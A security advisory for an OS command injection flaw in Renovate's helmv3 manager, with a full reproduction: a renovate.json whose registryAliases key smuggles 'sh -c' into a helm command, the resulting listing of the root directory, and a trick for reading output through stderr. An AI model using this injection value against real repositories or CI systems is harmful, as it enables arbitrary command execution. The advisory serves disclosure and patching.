OS Command Injection Affecting renovate package, versions >=37.158.0 <37.198.3

renovate is a dependency updater.

Affected versions of this package are vulnerable to OS Command Injection via registryAliases in the helmv3 manager. An attacker with commit access to the default branch of a repository using the affected tool could manipulate registryAliases to execute arbitrary commands by injecting shell commands into the helm repo add <key> <parameters> command. This is possible because the key is not properly sanitized, allowing for variable references and shell commands to be executed. The output of these commands can be viewed in the pull request comments if they are directed to stderr and the final command fails.

Inside a repository where Renovate runs, add a Helm chart with an outdated dependency, for example:

test-chart/Chart.yaml:

apiVersion: v2
name: redis
version: 1.0.0
dependencies:
  - name: redis
    version: 18.13.10
    repository: oci://registry-1.docker.io/bitnamicharts

test-chart/Chart.lock:

dependencies:
- name: redis
  repository: oci://registry-1.docker.io/bitnamicharts
  version: 18.13.10
digest: sha256:11267bd32ea6c5c120ddebbb9f21e4a3c7700a961aa1a27ddb55df1fb8059a38
generated: "2024-02-16T13:31:20.807026334Z"

Then add the following renovate.json:

{
  "$schema": "https://docs.renovatebot.com/renovate-schema.json",
  "extends": [
    "config:base"
  ],
  "registryAliases": {
    "foo/bar || sh -c 'ls /; exit 1' >&2": "registry.example.com/proxy"
  }
}

Once Renovate runs on the repository, it will create a pull request, and add a comment titled "Artifact update problem" containing the following text:

File name: test-chart/Chart.lock

Command failed: helm repo add foo/bar || sh -c 'ls /; exit 1' >&2 registry.example.com/proxy --force-update
Error: "helm repo add" requires 2 arguments
Usage:  helm repo add [NAME] [URL] [flags]
bin
boot
dev
etc
go
home
lib
lib32
lib64
libx32
media
mnt
opt
proc
root
run
sbin
srv
sys
tmp
usr
var

This shows that the ls command executed successfully, and we can even see its output.

Note that redirecting any output you want to see to stderr (>&2) and making sure the final command fails (exit 1) is required in this case, as Renovate only adds a comment if the command fails, and it contains only stderr (not stdout) output.

• GitHub Commit
• Vulnerable Code